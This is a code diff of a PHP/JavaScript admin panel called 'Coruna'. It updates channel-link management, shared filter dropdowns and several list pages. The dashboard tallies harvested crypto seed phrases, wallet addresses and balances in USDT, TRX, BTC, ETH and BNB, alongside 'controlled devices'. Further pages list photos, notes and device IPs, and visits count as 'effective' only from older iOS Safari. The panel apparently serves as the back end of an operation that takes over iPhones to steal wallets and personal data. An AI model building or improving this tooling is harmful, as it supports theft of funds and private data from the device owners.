'<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'
|
||||
: '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block"><input class="layui-input" readonly value="' + (values.channel_id || '') + '"></div></div>';
|
||||
|
||||
@@ -268,16 +214,16 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
'<option value="old"' + ((values.builder_type || 'old') === 'old' ? ' selected' : '') + '>旧版</option>' +
|
||||
'<option value="new"' + (values.builder_type === 'new' ? ' selected' : '') + '>新版</option>' +
|
||||
'</select>' +
|
||||
'<div class="layui-form-mid layui-word-aux">旧版=/web/id/support.html;新版=8 位渠道码,打包已构建的 weifile(需先 php artisan xxbb:build)</div></div></div>'
|
||||
'<div class="layui-form-mid layui-word-aux">旧版=/web/id/support.html;新版=/channel/X.Y.ZZ/(创建时自动构建,c 取自 XXBB_CHANNEL_C)</div></div></div>'
|
||||
: '';
|
||||
|
||||
var templateBlock = (isAdmin && creating)
|
||||
? '<div class="layui-form-item" id="LAY-ch-template-item"><label class="layui-form-label">页面模板</label><div class="layui-input-block">' +
|
||||
'<select name="support_template">' +
|
||||
'<option value="test"' + ((values.support_template || 'test') === 'test' ? ' selected' : '') + '>test(含 HUD 进度页)</option>' +
|
||||
'<option value="test"' + ((values.support_template || 'test') === 'test' ? ' selected' : '') + '>test(加载页 / 15s 倒计时)</option>' +
|
||||
'<option value="blank"' + (values.support_template === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' +
|
||||
'</select>' +
|
||||
'<div class="layui-form-mid layui-word-aux">控制生成的 support.html:test=HUD;blank=空白</div></div></div>'
|
||||
'<div class="layui-form-mid layui-word-aux" id="LAY-ch-template-hint">旧版=support.html;新版=weifile.html(test=loading,blank=空白)</div></div></div>'
|
||||
: '';
|
||||
|
||||
layer.open({
|
||||
@@ -298,13 +244,14 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
function syncTemplateVisibility() {
|
||||
var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
|
||||
var $id = $('#LAY-ch-id-input');
|
||||
$('#LAY-ch-template-item').show();
|
||||
if (type === 'new') {
|
||||
$('#LAY-ch-template-item').hide();
|
||||
$id.attr('maxlength', 8).attr('placeholder', '8位,例如 FAFA9988');
|
||||
if (($id.val() || '').length !== 8) $id.val('');
|
||||
$id.attr('maxlength', 6).attr('placeholder', '例如 A.B.C1 或 3.1.07');
|
||||
if (!/^[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}$/.test($id.val() || '')) $id.val('');
|
||||
$('#LAY-ch-template-hint').text('新版 weifile.html:test=大圆圈加载+15s 倒计时;blank=空白页');
|
||||
} else {
|
||||
$('#LAY-ch-template-item').show();
|
||||
$id.attr('maxlength', 32).attr('placeholder', '32位字母数字');
|
||||
$('#LAY-ch-template-hint').text('旧版 support.html:test=HUD;blank=空白');
|
||||
}
|
||||
}
|
||||
syncTemplateVisibility();
|
||||
@@ -332,6 +279,10 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
layer.close(load);
|
||||
if (res.code !== 0) return layer.msg(res.msg || '失败');
|
||||
layer.close(index);
|
||||
if (window.CorunaFilterOptions) {
|
||||
CorunaFilterOptions.bust();
|
||||
CorunaFilterOptions.apply(form);
|
||||
}
|
||||
table.reload('LAY-ch-list');
|
||||
showCreateResult(res, data.channel_id);
|
||||
},
|
||||
@@ -352,6 +303,10 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
success: function (res) {
|
||||
if (res.code !== 0) return layer.msg(res.msg || '失败');
|
||||
layer.close(index);
|
||||
if (window.CorunaFilterOptions) {
|
||||
CorunaFilterOptions.bust();
|
||||
CorunaFilterOptions.apply(form);
|
||||
}
|
||||
table.reload('LAY-ch-list');
|
||||
layer.msg('已保存');
|
||||
},
|
||||
@@ -375,12 +330,9 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
table.on('tool(LAY-ch-list)', function (obj) {
|
||||
if (obj.event === 'edit') openForm('编辑渠道链接', obj.data, false);
|
||||
if (obj.event === 'links') openLinks(obj.data);
|
||||
if (obj.event === 'download') {
|
||||
openDownloadGuide(obj.data);
|
||||
}
|
||||
if (obj.event === 'del') {
|
||||
var pathHint = obj.data.builder_type === 'new'
|
||||
? ('数据库记录与 channel-source-new/' + obj.data.channel_id + '.zip')
|
||||
? ('数据库记录与 channel/' + obj.data.channel_id + '/')
|
||||
: ('数据库记录与 web/' + obj.data.channel_id + ' 资源');
|
||||
layer.confirm('删除后将移除 ' + pathHint + ',确认?', function (idx) {
|
||||
$.ajax({
|
||||
|
||||
@@ -36,6 +36,89 @@ layui.config({
|
||||
}).extend({
|
||||
index: 'lib/index'
|
||||
}).use(['index'], function(){});
|
||||
|
||||
window.CorunaFilterOptions = (function () {
|
||||
var portal = @json($portal ?? 'admin');
|
||||
var channelsUrl = @json(route(($portal ?? 'admin').'.filterOptions.channels'));
|
||||
var agentsUrl = portal === 'admin' ? @json(route('admin.filterOptions.agents')) : null;
|
||||
var mem = { channels: null, agents: null, inflight: null };
|
||||
var STORAGE_PREFIX = 'coruna_filter_opts_' + portal + '_';
|
||||
var TTL_MS = 60 * 1000;
|
||||
|
||||
function readStore(key) {
|
||||
try {
|
||||
var raw = sessionStorage.getItem(STORAGE_PREFIX + key);
|
||||
if (!raw) return null;
|
||||
var parsed = JSON.parse(raw);
|
||||
if (!parsed || !parsed.at || (Date.now() - parsed.at) > TTL_MS) return null;
|
||||
return parsed.data;
|
||||
} catch (e) { return null; }
|
||||
}
|
||||
|
||||
function writeStore(key, data) {
|
||||
try {
|
||||
sessionStorage.setItem(STORAGE_PREFIX + key, JSON.stringify({ at: Date.now(), data: data }));
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
function fillSelect(sel, rows, keepFirst) {
|
||||
var $sel = window.layui && layui.$ ? layui.$(sel) : null;
|
||||
if (!$sel || !$sel.length) return;
|
||||
var keep = keepFirst || 1;
|
||||
$sel.find('option').slice(keep).remove();
|
||||
(rows || []).forEach(function (row) {
|
||||
$sel.append(new Option(row.label, row.value));
|
||||
});
|
||||
}
|
||||
|
||||
function loadAll() {
|
||||
if (mem.inflight) return mem.inflight;
|
||||
var chCached = mem.channels || readStore('channels');
|
||||
var agCached = agentsUrl ? (mem.agents || readStore('agents')) : [];
|
||||
if (chCached && (!agentsUrl || agCached)) {
|
||||
mem.channels = chCached;
|
||||
mem.agents = agCached || [];
|
||||
return layui.$.Deferred().resolve(mem).promise();
|
||||
}
|
||||
var $ = layui.$;
|
||||
var reqs = [$.getJSON(channelsUrl)];
|
||||
if (agentsUrl) reqs.push($.getJSON(agentsUrl));
|
||||
mem.inflight = $.when.apply($, reqs).then(function () {
|
||||
var args = arguments;
|
||||
var chRes = reqs.length === 1 ? args[0] : args[0][0];
|
||||
var agRes = reqs.length === 1 ? null : args[1][0];
|
||||
mem.channels = (chRes && chRes.data) || [];
|
||||
mem.agents = (agRes && agRes.data) || [];
|
||||
writeStore('channels', mem.channels);
|
||||
if (agentsUrl) writeStore('agents', mem.agents);
|
||||
mem.inflight = null;
|
||||
return mem;
|
||||
}, function () {
|
||||
mem.inflight = null;
|
||||
return { channels: [], agents: [] };
|
||||
});
|
||||
return mem.inflight;
|
||||
}
|
||||
|
||||
function apply(form) {
|
||||
return loadAll().then(function (data) {
|
||||
fillSelect('select[data-coruna-channels]', data.channels, 1);
|
||||
fillSelect('select[data-coruna-agents]', data.agents, 2);
|
||||
if (form && form.render) form.render('select');
|
||||
});
|
||||
}
|
||||
|
||||
function bust() {
|
||||
mem.channels = null;
|
||||
mem.agents = null;
|
||||
try {
|
||||
sessionStorage.removeItem(STORAGE_PREFIX + 'channels');
|
||||
sessionStorage.removeItem(STORAGE_PREFIX + 'agents');
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
return { apply: apply, bust: bust, loadAll: loadAll };
|
||||
})();
|
||||
</script>
|
||||
@stack('scripts')
|
||||
</body>
|
||||
|
||||
@@ -5,10 +5,51 @@
|
||||
@section('content')
|
||||
@php $portal = $portal ?? 'admin'; @endphp
|
||||
<style>
|
||||
.dash-metric { font-size: 28px; line-height: 1.2; }
|
||||
.dash-grid { display: grid; gap: 12px; margin-bottom: 12px; }
|
||||
.dash-grid-5 { grid-template-columns: repeat(5, minmax(0, 1fr)); }
|
||||
.dash-grid-2 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
|
||||
@media screen and (max-width: 992px) {
|
||||
.dash-grid-5 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
|
||||
.dash-grid-2 { grid-template-columns: 1fr; }
|
||||
}
|
||||
.dash-tile {
|
||||
background: #fff;
|
||||
border: 1px solid #f0f0f0;
|
||||
border-radius: 2px;
|
||||
min-height: 108px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
.dash-tile-hd {
|
||||
padding: 10px 14px 0;
|
||||
font-size: 13px;
|
||||
color: #666;
|
||||
line-height: 1.4;
|
||||
}
|
||||
.dash-tile-bd {
|
||||
padding: 8px 14px 12px;
|
||||
flex: 1;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: center;
|
||||
}
|
||||
.dash-metric { font-size: 26px; line-height: 1.25; color: #333; word-break: break-all; }
|
||||
.dash-metric-hl { color: #009688; font-weight: 600; }
|
||||
.dash-metric-sep { color: #bbb; margin: 0 4px; font-weight: 400; }
|
||||
.dash-metric-total { color: #333; }
|
||||
.dash-metric-caption {
|
||||
display: block;
|
||||
margin-top: 6px;
|
||||
font-size: 12px;
|
||||
line-height: 1.3;
|
||||
color: #999;
|
||||
font-weight: 400;
|
||||
}
|
||||
.dash-section-label {
|
||||
margin: 4px 0 8px;
|
||||
font-size: 13px;
|
||||
color: #999;
|
||||
}
|
||||
</style>
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-dash-search">
|
||||
@@ -24,85 +65,131 @@
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">渠道 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="channel_id" placeholder="渠道 ID" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
@if ($portal === 'admin')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">代理用户</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="agent_user_id">
|
||||
<option value="">全部</option>
|
||||
<option value="0">官方</option>
|
||||
@foreach ($agents as $a)
|
||||
<option value="{{ $a->id }}">{{ $a->username }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
@include('admin.partials.filter_channel_select')
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn" lay-submit lay-filter="LAY-dash-search">查询</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<div class="layui-card-body">
|
||||
<div class="layui-row layui-col-space15">
|
||||
<div class="layui-col-md2">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">总设备数</div>
|
||||
<div class="layui-card-body dash-metric" id="dash-total">—</div>
|
||||
<div class="dash-section-label">设备与资产</div>
|
||||
<div class="dash-grid dash-grid-5">
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">总设备数</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric" id="dash-total">—</div>
|
||||
<span class="dash-metric-caption">有钱包设备/总设备</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md2">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">新增设备</div>
|
||||
<div class="layui-card-body dash-metric dash-metric-hl" id="dash-new">—</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">新增设备</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric dash-metric-hl" id="dash-new">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md2">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">活跃设备</div>
|
||||
<div class="layui-card-body dash-metric" id="dash-active">—</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">活跃设备</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric" id="dash-active">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md3">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">页面 PV</div>
|
||||
<div class="layui-card-body dash-metric" id="dash-pv">—</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">助记词</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric dash-metric-hl" id="dash-mnemonics">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md3">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">页面 UV</div>
|
||||
<div class="layui-card-body dash-metric" id="dash-uv">—</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">钱包地址</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric dash-metric-hl" id="dash-addresses">—</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-word-aux" style="margin-top:4px;">有效口径:iOS ≤ 17.2 且使用 Safari(左侧高亮 / 右侧为全部)</div>
|
||||
|
||||
<div class="layui-row layui-col-space15" style="margin-top:12px;">
|
||||
<div class="layui-col-md6">
|
||||
<div class="dash-section-label">总余额</div>
|
||||
<div class="dash-grid dash-grid-5">
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">USDT</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric dash-metric-hl" id="dash-bal-usdt">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">TRX</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric dash-metric-hl" id="dash-bal-trx">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">BTC</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric dash-metric-hl" id="dash-bal-btc">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">ETH</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric dash-metric-hl" id="dash-bal-eth">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">BNB</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric dash-metric-hl" id="dash-bal-bnb">—</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS ≤ 17.2 且 Safari(左侧高亮)</span></div>
|
||||
<div class="dash-grid dash-grid-2">
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">页面 PV</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric" id="dash-pv">—</div>
|
||||
<span class="dash-metric-caption">有效 PV/总 PV</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">页面 UV</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric" id="dash-uv">—</div>
|
||||
<span class="dash-metric-caption">有效 UV/总 UV</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-row layui-col-space15" style="margin-top:4px;">
|
||||
<div class="layui-col-md4">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">按系统(PV / UV / 占比)</div>
|
||||
<div class="layui-card-header">访问 · 按系统(UV / 占比)</div>
|
||||
<div class="layui-card-body">
|
||||
<table class="layui-table" lay-size="sm">
|
||||
<thead><tr><th>系统</th><th>PV</th><th>UV</th><th>占比</th></tr></thead>
|
||||
<tbody id="dash-by-os"><tr><td colspan="4">—</td></tr></tbody>
|
||||
<thead><tr><th>系统</th><th>UV</th><th>占比</th></tr></thead>
|
||||
<tbody id="dash-by-os"><tr><td colspan="3">—</td></tr></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md6">
|
||||
<div class="layui-col-md4">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">按 iOS 系统版本(PV / UV / 占比)</div>
|
||||
<div class="layui-card-header">访问 · 按 iOS 版本(UV / 占比)</div>
|
||||
<div class="layui-card-body">
|
||||
<table class="layui-table" lay-size="sm">
|
||||
<thead><tr><th>版本</th><th>PV</th><th>UV</th><th>占比</th></tr></thead>
|
||||
<tbody id="dash-by-ios-version"><tr><td colspan="4">—</td></tr></tbody>
|
||||
<thead><tr><th>版本</th><th>UV</th><th>占比</th></tr></thead>
|
||||
<tbody id="dash-by-ios-version"><tr><td colspan="3">—</td></tr></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md4">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">受控设备 · 系统版本分布</div>
|
||||
<div class="layui-card-body">
|
||||
<table class="layui-table" lay-size="sm">
|
||||
<thead><tr><th>版本</th><th>设备数</th><th>占比</th></tr></thead>
|
||||
<tbody id="dash-by-device-ios"><tr><td colspan="3">—</td></tr></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
@@ -124,9 +211,18 @@ layui.use(['form'], function () {
|
||||
var html = '';
|
||||
(rows || []).forEach(function (r) {
|
||||
var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%');
|
||||
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.pv + '</td><td>' + r.uv + '</td><td>' + pct + '</td></tr>';
|
||||
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.uv + '</td><td>' + pct + '</td></tr>';
|
||||
});
|
||||
$(sel).html(html || '<tr><td colspan="4">暂无</td></tr>');
|
||||
$(sel).html(html || '<tr><td colspan="3">暂无</td></tr>');
|
||||
}
|
||||
|
||||
function fillDeviceVersionRows(sel, rows) {
|
||||
var html = '';
|
||||
(rows || []).forEach(function (r) {
|
||||
var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%');
|
||||
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.count + '</td><td>' + pct + '</td></tr>';
|
||||
});
|
||||
$(sel).html(html || '<tr><td colspan="3">暂无</td></tr>');
|
||||
}
|
||||
|
||||
function ratioHtml(effective, total) {
|
||||
@@ -138,13 +234,20 @@ layui.use(['form'], function () {
|
||||
function load(where) {
|
||||
$.getJSON(dataUrl, where || { range: '30d' }, function (res) {
|
||||
if (!res || res.code !== 0) return;
|
||||
$('#dash-total').text(res.data.total);
|
||||
$('#dash-total').html(ratioHtml(res.data.wallet_count || 0, res.data.total || 0));
|
||||
$('#dash-new').text(res.data.new_count);
|
||||
$('#dash-active').text(res.data.active_count);
|
||||
$('#dash-mnemonics').text(res.data.mnemonic_count || 0);
|
||||
$('#dash-addresses').text(res.data.address_count || 0);
|
||||
$('#dash-pv').html(ratioHtml(res.data.effective_pv || 0, res.data.pv || 0));
|
||||
$('#dash-uv').html(ratioHtml(res.data.effective_uv || 0, res.data.uv || 0));
|
||||
var bal = res.data.balances || {};
|
||||
['usdt', 'trx', 'btc', 'eth', 'bnb'].forEach(function (c) {
|
||||
$('#dash-bal-' + c).text(bal[c] != null && bal[c] !== '' ? bal[c] : '0');
|
||||
});
|
||||
fillRows('#dash-by-os', res.data.by_os);
|
||||
fillRows('#dash-by-ios-version', res.data.by_ios_version);
|
||||
fillDeviceVersionRows('#dash-by-device-ios', res.data.by_device_ios_version);
|
||||
$('#dash-range').text('统计区间:' + res.data.from + ' ~ ' + res.data.to);
|
||||
});
|
||||
}
|
||||
@@ -154,6 +257,7 @@ layui.use(['form'], function () {
|
||||
return false;
|
||||
});
|
||||
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
load({ range: '30d' });
|
||||
});
|
||||
</script>
|
||||
|
||||
@@ -13,26 +13,8 @@
|
||||
<input type="text" name="device_key" placeholder="设备 ID" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">渠道 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="channel_id" placeholder="渠道 ID" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
@if ($portal === 'admin')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">代理用户</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="agent_user_id">
|
||||
<option value="">全部</option>
|
||||
<option value="0">官方</option>
|
||||
@foreach (($agents ?? []) as $a)
|
||||
<option value="{{ $a->id }}">{{ $a->username }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
@include('admin.partials.filter_channel_select')
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">设备型号</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -112,6 +94,8 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
var token = @json(csrf_token());
|
||||
var updateBase = @json(url('/'.$portal.'/devices'));
|
||||
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
|
||||
laydate.render({ elem: '#LAY-device-installed-from', type: 'date' });
|
||||
laydate.render({ elem: '#LAY-device-installed-to', type: 'date' });
|
||||
|
||||
@@ -125,7 +109,6 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||
{ field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },
|
||||
{ field: 'channel_id', title: '渠道 ID', width: 140, sort: true, templet: function (d) { return dash(d.channel_id); } },
|
||||
{ field: 'source_domain', title: '来源域名', width: 160, templet: function (d) { return dash(d.source_domain); } },
|
||||
{ field: 'device_model', title: '设备型号', width: 130, sort: true, templet: function (d) { return dash(d.device_model); } },
|
||||
{ field: 'ios_version', title: 'iOS 版本', width: 110, sort: true, templet: function (d) { return dash(d.ios_version); } },
|
||||
{ field: 'ip', title: 'IP', width: 140, sort: true, templet: function (d) { return dash(d.ip); } },
|
||||
|
||||
@@ -16,10 +16,6 @@
|
||||
<th width="140">渠道 ID</th>
|
||||
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>来源域名</th>
|
||||
<td colspan="3"><code>{{ $device->source_domain ?: '—' }}</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>设备型号</th>
|
||||
<td>{{ $device->device_model ?: '—' }}</td>
|
||||
|
||||
@@ -7,32 +7,14 @@
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">渠道 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_channel_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">设备 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@if ($portal === 'admin')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">代理用户</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="agent_user_id">
|
||||
<option value="">全部</option>
|
||||
<option value="0">官方</option>
|
||||
@foreach ($agents as $a)
|
||||
<option value="{{ $a->id }}">{{ $a->username }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">来源</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -62,6 +44,7 @@
|
||||
<script>
|
||||
layui.use(['table', 'form'], function () {
|
||||
var table = layui.table, form = layui.form;
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
table.render({
|
||||
elem: '#LAY-mn-list',
|
||||
id: 'LAY-mn-list',
|
||||
|
||||
@@ -7,32 +7,14 @@
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-note-search">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">渠道 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_channel_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">设备 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@if ($portal === 'admin')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">代理用户</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="agent_user_id">
|
||||
<option value="">全部</option>
|
||||
<option value="0">官方</option>
|
||||
@foreach ($agents as $a)
|
||||
<option value="{{ $a->id }}">{{ $a->username }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn" lay-submit lay-filter="LAY-note-search">搜索</button>
|
||||
</div>
|
||||
@@ -51,6 +33,7 @@
|
||||
<script>
|
||||
layui.use(['table', 'form'], function () {
|
||||
var table = layui.table, form = layui.form;
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
var dash = function (v) {
|
||||
if (!v) return '—';
|
||||
return v.length > 120 ? v.slice(0, 120) + '…' : v;
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
{{-- Searchable agent select (admin only); filled by CorunaFilterOptions --}}
|
||||
@if (($portal ?? 'admin') === 'admin')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">代理用户</label>
|
||||
<div class="layui-input-block" style="min-width: 180px;">
|
||||
<select name="agent_user_id" lay-search data-coruna-agents>
|
||||
<option value="">全部</option>
|
||||
<option value="0">官方</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
@@ -0,0 +1,9 @@
|
||||
{{-- Searchable channel ID select; filled by CorunaFilterOptions --}}
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">渠道 ID</label>
|
||||
<div class="layui-input-block" style="min-width: 200px;">
|
||||
<select name="channel_id" lay-search data-coruna-channels>
|
||||
<option value="">全部</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@@ -7,32 +7,14 @@
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-photo-search">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">渠道 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_channel_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">设备 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@if ($portal === 'admin')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">代理用户</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="agent_user_id">
|
||||
<option value="">全部</option>
|
||||
<option value="0">官方</option>
|
||||
@foreach ($agents as $a)
|
||||
<option value="{{ $a->id }}">{{ $a->username }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">敏感词</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -63,6 +45,7 @@
|
||||
<script>
|
||||
layui.use(['table', 'form', 'layer'], function () {
|
||||
var table = layui.table, form = layui.form, layer = layui.layer;
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
table.render({
|
||||
elem: '#LAY-photo-list',
|
||||
id: 'LAY-photo-list',
|
||||
|
||||
@@ -18,12 +18,7 @@
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">渠道 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_channel_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">系统</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -42,32 +37,13 @@
|
||||
<input type="text" name="browser" class="layui-input" placeholder="如 Safari" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">来源域名</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="domain" class="layui-input" placeholder="来源域名" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">Referer</label>
|
||||
<div class="layui-input-block">
|
||||
